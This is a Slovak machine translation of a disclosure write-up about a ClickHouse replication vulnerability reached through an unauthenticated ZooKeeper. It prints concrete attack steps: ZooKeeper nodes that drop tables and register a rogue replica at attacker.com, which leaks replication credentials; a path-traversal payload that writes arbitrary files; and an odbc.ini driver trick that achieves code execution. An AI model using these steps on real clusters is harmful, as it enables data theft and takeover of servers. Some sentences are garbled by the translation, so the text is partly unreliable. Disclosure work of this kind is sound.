Prečo musíte mať klietky v zoo zatvorené?

Prečo musíte mať klietky v zoo zatvorené?

Tento článok porozpráva príbeh o veľmi špecifickej zraniteľnosti v replikačnom protokole ClickHouse a tiež ukáže, ako možno rozšíriť útočnú plochu.

ClickHouse je databáza na ukladanie veľkých objemov dát, najčastejšie využívajúcich viac ako jednu repliku. Klastrovanie a replikácia v ClickHouse sú postavené na vrchole Apache ZooKeeper (ZK) a vyžadujú práva na zápis.

Predvolená inštalácia ZK nevyžaduje autentifikáciu, takže tisíce serverov ZK používaných na konfiguráciu Kafka, Hadoop, ClickHouse sú verejne dostupné.

Aby ste znížili plochu útoku, mali by ste pri inštalácii ZooKeeper vždy nakonfigurovať autentifikáciu a autorizáciu

Samozrejme existujú nejaké deserializácie Java založené na 0 dňoch, ale predstavte si, že by útočník mohol čítať a zapisovať do ZooKeeper, ktorý sa používa na replikáciu ClickHouse.

Keď je nakonfigurovaný v režime klastra, ClickHouse podporuje distribuované dotazy DDL, prechádzajúce cez ZK - pre nich sú v hárku vytvorené uzly /clickhouse/task_queue/ddl.

Napríklad vytvoríte uzol /clickhouse/task_queue/ddl/query-0001 s obsahom:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

a potom bude testovacia tabuľka vymazaná na klastrových serveroch host1 a host2. DDL tiež podporuje spúšťanie dotazov CREATE/ALTER/DROP.

Znie to strašidelne? Ale kde môže útočník získať adresy serverov?

Replikácia ClickHouse funguje na úrovni jednotlivých tabuliek, takže pri vytvorení tabuľky v ZK je určený server, ktorý bude zodpovedný za výmenu metadát s replikami. Napríklad pri vykonávaní požiadavky (musí byť nakonfigurovaný ZK, chXX - názov repliky, foobar - názov tabuľky):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

budú vytvorené uzly stĺpce и metadáta.

obsah /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Je možné zlúčiť údaje z tohto klastra? Áno, ak replikačný port (TCP/9009) na serveri chXX-address brána firewall nebude zatvorená a autentifikácia pre replikáciu nebude nakonfigurovaná. Ako obísť autentifikáciu?

Útočník môže vytvoriť novú repliku v ZK jednoduchým skopírovaním obsahu z /clickhouse/tables/01-01/foobar/replicas/chXX a meniť význam host.

obsah /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Potom musíte ostatným replikám povedať, že na útočníkovom serveri je nový blok údajov, ktorý si musia vziať - v ZK sa vytvorí uzol /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotónne rastúce počítadlo, ktoré by malo byť väčšie ako posledné v denníku udalostí):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kde zdrojová_replika — názov repliky útočníka vytvorenej v predchádzajúcom kroku, block_id — identifikátor bloku údajov, dostať - príkaz "získať blok" (a tu sú príkazy pre ďalšie operácie).

Potom každá replika načíta novú udalosť v protokole a prejde na server kontrolovaný útočníkom, aby prijal blok údajov (replikačný protokol je binárny a beží nad HTTP). Server attacker.com dostane žiadosti:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kde XXX sú autentifikačné údaje pre replikáciu. V niektorých prípadoch to môže byť účet s prístupom k databáze cez hlavný protokol ClickHouse a protokol HTTP. Ako ste videli, plocha útoku sa stala kriticky veľkou, pretože ZooKeeper, ktorý sa používa na replikáciu, zostal bez nakonfigurovanej autentifikácie.

Pozrime sa na funkciu získania bloku údajov z repliky, je napísaná s plnou dôverou, že všetky repliky sú pod riadnou kontrolou a je medzi nimi dôvera.

Prečo musíte mať klietky v zoo zatvorené?
kód spracovania replikácie

Funkcia načíta zoznam súborov, potom ich názvy, veľkosti, obsah a následne ich zapíše do systému súborov. Stojí za to samostatne opísať, ako sú údaje uložené v súborovom systéme.

Existuje niekoľko podadresárov /var/lib/clickhouse (predvolený adresár úložiska z konfiguračného súboru):

Vlajky - adresár na nahrávanie vlajky, ktorý sa používa pri obnove po strate údajov;
tmp — adresár na ukladanie dočasných súborov;
user_files — operácie so súbormi v požiadavkách sú obmedzené na tento adresár (INTO OUTFILE a iné);
metadáta — sql súbory s popismi tabuliek;
preprocessed_configs - spracované odvodené konfiguračné súbory z /etc/clickhouse-server;
data - samotný adresár so samotnými údajmi, v tomto prípade pre každú databázu sa tu jednoducho vytvorí samostatný podadresár (napr. /var/lib/clickhouse/data/default).

Pre každú tabuľku sa v adresári databázy vytvorí podadresár. Každý stĺpec je samostatný súbor v závislosti od formát motora. Napríklad na stôl foobarvytvorené útočníkom, vytvoria sa nasledujúce súbory:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika očakáva, že pri spracovaní bloku údajov dostane súbory s rovnakými názvami a žiadnym spôsobom ich neoveruje.

Pozorný čitateľ už pravdepodobne počul o nebezpečnom zreťazení súboru_name vo funkcii WriteBufferFromFile. Áno, toto umožňuje útočníkovi zapisovať ľubovoľný obsah do ľubovoľného súboru na FS s používateľskými právami clickhouse. Aby to bolo možné urobiť, replika ovládaná útočníkom musí vrátiť nasledujúcu odpoveď na požiadavku (pre ľahšie pochopenie boli pridané zlomy riadkov):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

a po zreťazení ../../../../../../../../../tmp/pwned súbor sa zapíše /tmp/pwned s obsahom ahoj zo zookeepera.

Existuje niekoľko možností, ako zmeniť schopnosť zapisovania súborov na vzdialené spustenie kódu (RCE).

Externé slovníky v RCE

V starších verziách bol adresár s nastaveniami ClickHouse uložený s používateľskými právami clickhouse predvolená. Súbory nastavení sú súbory XML, ktoré služba načíta pri spustení a potom ich uloží do vyrovnávacej pamäte /var/lib/clickhouse/preprocessed_configs. Keď nastanú zmeny, prečítajú sa znova. Ak máte prístup k /etc/clickhouse-server útočník si môže vytvoriť svoj vlastný externý slovník spustiteľný typ a potom spustiť ľubovoľný kód. Súčasné verzie ClickHouse štandardne neposkytujú práva, ale ak by bol server postupne aktualizovaný, takéto práva by mohli zostať. Ak podporujete klaster ClickHouse, skontrolujte práva na adresár nastavení, musí patriť používateľovi root.

ODBC do RCE

Pri inštalácii balíka sa vytvorí používateľ clickhouse, ale jeho domovský adresár nie je vytvorený /nonexistent. Pri používaní externých slovníkov alebo z iných dôvodov však administrátori vytvoria adresár /nonexistent a dať používateľovi clickhouse prístup k zápisu doň (SSZB! približne. prekladateľ).

ClickHouse podporuje ODBC a môže sa pripojiť k iným databázam. V ODBC môžete zadať cestu ku knižnici ovládačov databázy (.so). Staršie verzie ClickHouse vám to umožňovali priamo v obslužnom programe požiadaviek, no teraz bola pridaná prísnejšia kontrola pripájacieho reťazca odbc-bridge, takže z požiadavky už nie je možné špecifikovať cestu ovládača. Môže však útočník zapisovať do domovského adresára pomocou vyššie opísanej zraniteľnosti?

Vytvorme súbor ~/.odbc.ini s obsahom ako je tento:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

potom pri spustení SELECT * FROM odbc('DSN=lalala', 'test', 'test'); knižnica sa načíta test.so a dostali RCE (vďaka buglloc za tip).

Tieto a ďalšie chyby zabezpečenia boli opravené vo verzii ClickHouse 19.14.3. Postarajte sa o svojich ClickHouse a ZooKeepers!

Zdroj: hab.com

Pridať komentár